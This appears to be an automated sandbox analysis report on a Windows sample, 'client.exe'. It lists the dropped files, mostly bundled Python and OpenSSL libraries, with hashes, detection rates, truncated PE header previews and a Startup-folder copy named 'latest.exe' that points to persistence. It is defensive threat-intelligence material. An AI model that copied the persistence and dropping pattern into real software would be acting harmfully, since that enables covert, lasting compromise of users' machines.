Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.674392865869017
Encrypted:	false
SSDEEP:	96:KGUmje72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFXiHBpv9cX6gTim1qeSC:rjQ2HzzU2bRYoe1HH9cqgTimoe
MD5:	D9E0217A89D9B9D1D778F7E197E0C191
SHA1:	EC692661FCC0B89E0C3BDE1773A6168D285B4F0D
SHA-256:	ECF12E2C0A00C0ED4E2343EA956D78EED55E5A36BA49773633B2DFE7B04335C0
SHA-512:	3B788AC88C1F2D682C1721C61D223A529697C7E43280686B914467B3B39E7D6DEBAFF4C0E2F42E9DDDB28B522F37CB5A3011E91C66D911609C63509F9228133D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..............................M....................................... ...?.......?.......?.a.....?.......Rich............................PE..d....jAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md__mypyc.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	5.917175475547778
Encrypted:	false
SSDEEP:	3072:bA3W6Fck6/g5DzNa4cMy/dzpd1dhdMdJGFEr6/vD:MW6NzcMy/d13FErgvD
MD5:	BF9A9DA1CF3C98346002648C3EAE6DCF
SHA1:	DB16C09FDC1722631A7A9C465BFE173D94EB5D8B
SHA-256:	4107B1D6F11D842074A9F21323290BBE97E8EED4AA778FBC348EE09CC4FA4637
SHA-512:	7371407D12E632FC8FB031393838D36E6A1FE1E978CED36FF750D84E183CDE6DD20F75074F4597742C9F8D6F87AF12794C589D596A81B920C6C62EE2BA2E5654
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..r...r...r......r...s...r...s...r...w...r...v..r...q...r.#.s...r...s...r..8z...r..8r...r..8....r..8p...r.Rich..r.........................PE..d....jAe.........." ...%.:...........<.......................................0............`.........................................@...d.......................(............ ......P...................................@............P...............................text....8.......:.................. ..`.rdata...W...P...X...>..............@..@.data...8=.......0..................@....pdata..(...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17782784
Entropy (8bit):	6.339667356522568
Encrypted:	false
SSDEEP:	196608:/tgSx2rycEHPMSHgB940JvKW1QQIfqDVvKD2:lgmBHgBG0Jv2iDV22
MD5:	B5712CB60C06909B9B4479AADD03FF9E
SHA1:	4731D7891F8A1A272BAA619C82F3D6ACB3C97C0A
SHA-256:	029E82658B74CBC207A33F816770A3F21563DE5A318FB27B25B150191FFC710D
SHA-512:	141E3BDA5E8592163D1492122AA1177D3889D18E4FBB8241892D45485C4EEB1578BA8B899C680D67D5FF6DE387F2AB2168485C6C7B23E382B16C79214A0663BC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9..W\.W\.W\..T].W\..R]w.W\..S].W\.W\.W\.'.\.W\.'R].W\.'S].W\.'T].W\."V].W\..V].W\.V\n.W\.'S]s.W\.'U].W\Rich.W\................PE..d.....Sg.........."....&......n................@..........................................`.................................................D4..<.......<.j..0..XO..............l...0...................................@...............`............................text............................... ..`.rdata..............................@..@.data...X....`.......R..............@....pdata..XO...0...P.................@..@_RDATA...............&..............@..@.rsrc...<.j.......j..(..............@..@.reloc..l............F..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:	768:OV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/d:ODmF61JFn+/Ob5IML0l7SySxUx
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python312.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\select.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:	384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:	12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140_1.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:	6144:sz5QLUL4lK9bQkMZ/jZMaBHX7vu3XSAU128zkpWCucchvkf8HpbUPAKjgCX3GRx:szb4lK9ckWBHXKSA584ENcyv6sUPAKg
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:	12288:sL1TGmvt0Vwyow0k1rErgw25rXLzydh8K35sWGu:s5lvt0Vw9fk1rErV25rPY8K
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imaging.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2386432
Entropy (8bit):	6.458824340834286
Encrypted:	false
SSDEEP:	49152:aoPTrlqtAyK7DhgHpHtxqqmLrLrLrLK2QF81:7MK7Du1
MD5:	B88D368220A61DC02E2C9B9C9F3DBF86
SHA1:	2CE7549208C910D53D8566DD8F2C951F755FD98E
SHA-256:	0EA6C51C6700B9E7BDB45ED63201F974B4C6E5936BDEEED370C49B6DCD5821FD
SHA-512:	734C65496AB5F9E574E863667C5306EFB2C13151DAD35E9E93603CD06C4DC25CB4897BC3FF0141FAC7111E244B58AEF6766F376F8057935C4871B393CDF32B7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......3@.5w!.fw!.fw!.f~Y.fg!.f8].gu!.f8]ufs!.f8].gy!.f8].g.!.f8].gs!.f.].gu!.f<Y.gp!.fw!.fs .f.].g.!.fw!.fl!.f.].g=!.f.].gv!.f.]wfv!.f.].gv!.fRichw!.f........................PE..d...x.'d.........." ...".0...h......L.........................................$...........`.........................................@.".`.....".......$.......#...............$.l.....!.......................!.(...`.!.@............@...............................text............0.................. ..`.rdata.......@.......4..............@..@.data.........#..^....#.............@....pdata........#......`#.............@..@.rsrc.........$......R$.............@..@.reloc..l.....$......T$.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imagingcms.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.2744632895698755
Encrypted:	false
SSDEEP:	6144:3GPp77fRSOs1HNY3AklPRI7Odh0wXLg9uP1+74/LgHmPr9qvZqhLanLTLzLfqeqg:3GB77pSn7vQh0wXLg9uP1+74/LgHmPrK
MD5:	54BFD1D6A3DEE85A103657DA98DF6562
SHA1:	062F9C020179846F2CFB85DD5CB7472C04B2823B
SHA-256:	B2820965631C4081BAC0BD5953A08F0BFA84AB057E6239A0AA719237FB6E316F
SHA-512:	421B11DBD31DF99E2C0F588335E5D114C10B650405DD9039AC765ADCC5308D4FB0271607B277D142DA94F79D988F4B97AFAFC1808B03402BB3E3883E403B66E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........rx..+..+..+..+...+.....+......+......+......+5....+......+..+...+4....+4....+4..+..+4..*..+Rich..+................PE..d...g.'d.........." ..."..... ......\........................................ ............`.........................................py..h....y..................\....................?..............................`>..@...............p............................text............................... ..`.rdata..N...........................@..@.data....>.......8...z..............@....pdata..\........0..................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_webp.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	530432
Entropy (8bit):	6.579935315094317
Encrypted:	false
SSDEEP:	12288:/wfj8PoAtpyT3bT9IMSFLrLrLrLWzxyOjD9i5qWJTL:/1oAfegFLrLrLrLWzcs9eqWJ
MD5:	FC18D07212FA0FED8035EA1CE7472344
SHA1:	1B74D9880DEEBF28EC46FE5C60600A8912CB6459
SHA-256:	46CE0E78D47CE623DF967E0F52684BEA90AB3BE3AB551EC41AB858DFA7E34E6E
SHA-512:	9AD5436B5FE6730519D9980B701E4B2A11BCE9C1B0DD1E76D1B59553A59B9A44FE9C0FF2E4847978E3243B336E227F42CA34D57D750F4DEBDE1A5A9866A956DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oM5.+,[.+,[.+,[."T..!,[.dPZ.),[.`TZ.),[.dP^.&,[.dP_.#,[.dPX./,[..PZ.(,[.+,Z.x,[..P_.},[..PS.,[..P[.,[..P..,[..PY.,[.Rich+,[.................PE..d...g.'d.........." ...".................................................................`.............................................\...<........p....... ...L...................V...............................U..@............................................text...x........................... ..`.rdata..$...........................@..@.data....2..........................@....pdata...L... ...N..................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71448
Entropy (8bit):	6.280004093581335
Encrypted:	false
SSDEEP:	1536:5VrJQiOU7v3gWTgI9PBgT5NIMOn27SyBxEU:55JQiOU7/g8L9PBSNIMOn2CU
MD5:	90A38A8271379A371A2A4C580E9CD97D
SHA1:	3FDE48214FD606114D7DF72921CF66EF84BC04C5
SHA-256:	3B46FA8F966288EAD65465468C8E300B9179F5D7B39AA25D7231FF3702CA7887
SHA-512:	3BDE0B274F959D201F7820E3C01896C24E4909348C0BC748ADE68610A13A4D1E980C50DAB33466469CDD19EB90915B45593FAAB6C3609AE3F616951089DE1FDC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...Qb.f.........." ...(.f................................................... ............`.............................................P......d......................../..............T...........................P...@...............(............................text....e.......f.................. ..`.rdata...O.......P...j..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_brotli.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
